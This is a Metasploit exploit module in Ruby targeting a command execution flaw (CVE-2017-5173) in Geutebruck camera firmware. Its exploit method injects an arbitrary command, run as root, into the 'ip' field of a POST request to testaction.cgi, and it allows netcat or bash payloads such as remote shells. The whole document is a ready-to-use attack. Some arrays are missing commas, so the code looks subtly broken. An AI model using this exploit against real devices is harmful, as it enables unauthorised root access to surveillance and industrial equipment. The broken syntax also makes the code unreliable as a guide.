## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Geutebruck testaction.cgi Remote Command Execution', 'Description' => %q{ This module exploits a an arbitrary command execution vulnerability. The vulnerability exists in the /uapi-cgi/viewer/testaction.cgi page and allows an anonymous user to execute arbitrary commands with root privileges. Firmware <= 1.11.0.12 are concerned. Tested on 5.02024 G-Cam/EFD-2250 running 1.11.0.12 firmware. }, 'Author' => [ 'Davy Douhine', #CVE-2017-5173 (RCE) and metasploit module 'Florent Montel' #CVE-2017-5174 (Authentication bypass) 'Frederic Cikala' #CVE-2017-5174 (Authentication bypass) ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-5173' ], [ 'CVE', '2017-5174' ], [ 'URL', 'http://geutebruck.com' ] [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-045-02' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat bash', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 16 2016')) register_options( [ OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/testaction.cgi']), ], self.class) end def exploit uri = normalize_uri(target_uri.path) print_status("#{rhost}:#{rport} - Attempting to exploit...") command = payload.encoded res = send_request_cgi( { 'uri' => uri, 'method' => 'POST', 'vars_post' => { 'type' => "ip", 'ip' => "eth0 1.1.1.1;#{command}", }, }) end end